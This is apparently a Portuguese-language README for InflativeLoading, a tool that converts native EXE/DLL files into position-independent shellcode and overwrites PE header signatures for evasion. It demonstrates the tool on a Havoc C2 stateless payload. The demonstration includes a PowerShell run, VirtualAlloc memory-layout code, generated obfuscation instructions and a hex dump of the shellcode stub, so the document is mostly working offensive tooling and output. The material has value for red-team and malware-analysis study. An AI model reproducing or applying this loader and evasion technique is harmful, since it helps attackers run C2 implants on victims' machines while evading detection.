
Dynamicamente converter um arquivo EXE ou DLL não gerenciado para shellcode PIC, adicionando um stub de shellcode no início.
Artigo: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
Nesta seção, são fornecidas as principais atualizações. As principais atualizações incluem suportes ou recursos adicionados.
Apenas alguns bytes no cabeçalho PE, como e_lfanew, RVA da Tabela de Importação, são essenciais para concluir o processo de carregamento. Portanto, outros bytes podem ser sobrescritos com bytes aleatórios para ocultar as assinaturas do cabeçalho PE.
Após a conclusão de todos os processos, até mesmo esses bytes serão sobrescritos para ofuscação completa. Por exemplo, a partir da captura de tela abaixo, podemos notar que o cabeçalho PE está majoritariamente ofuscado, mas e_lfanew permanece não ofuscado para fins de carregamento. Mas após o processo de carregamento, e_lfanew também é ofuscado.

No entanto, dependendo do programa selecionado, a ofuscação pode não ser compatível com ele. Você deve saber como o programa funciona. Por exemplo, o payload DLL sem estado do Havoc não é compatível com o recurso de ofuscação porque a DLL também faz uso do cabeçalho PE.

O payload EXE sem estado do Havoc funciona bem com ofuscação:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
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Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000